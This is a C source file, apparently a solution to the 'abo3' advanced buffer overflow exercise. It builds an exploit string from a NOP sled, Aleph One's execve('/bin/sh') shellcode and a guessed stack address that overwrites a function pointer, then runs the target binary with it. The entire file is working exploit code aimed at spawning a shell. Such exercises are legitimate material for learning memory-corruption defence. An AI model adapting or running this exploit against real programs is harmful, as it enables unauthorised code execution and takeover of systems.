#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Stack diagram:
 * 
 * NNNNNNNNNNNNNNNNNNNNNNN SSSSSSSSSSSSSSSS FN
 * nop opcodes             shell code       fn()
 *      
 * 211 bytes NOPs
 * 45 bytes shell code
 * 4 bytes fn pointer
 */

#define MAX_BUFFER 256
#define NOP 0x90

char shellcode[] =	/* Aleph1's */
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
	__asm__("movl %esp,%eax");
}

int main(int argc, char* argv[])
{
	char *buf, *ptr;
	long *addr_ptr;
	long addr;
	int i, c;
	int ofs = 0;

	if (argc > 1) ofs = atoi(argv[1]);
	
	if (!(buf = (char*) malloc(MAX_BUFFER+500))) {
		printf("Memory allocation error\n");
		exit(0);
	}
	ptr = buf;
	
	for (i = 0; i < MAX_BUFFER-strlen(shellcode); i++)
		*ptr++ = NOP;

	for (c = 0; c < strlen(shellcode); c++)
		*ptr++ = shellcode[c];

	addr = get_sp() - MAX_BUFFER + ofs;
	printf("Using adddress 0x%x\n", addr);
	
	addr_ptr = (long*) ptr;
	*addr_ptr++ = addr;			/* overwrite fn */

	ptr = (char*)addr_ptr;
	*ptr = '\0';

	printf("Exploit string is %d bytes long\n", strlen(buf));
	execl("./abo3", "abo3", buf, "arg2", NULL);
}
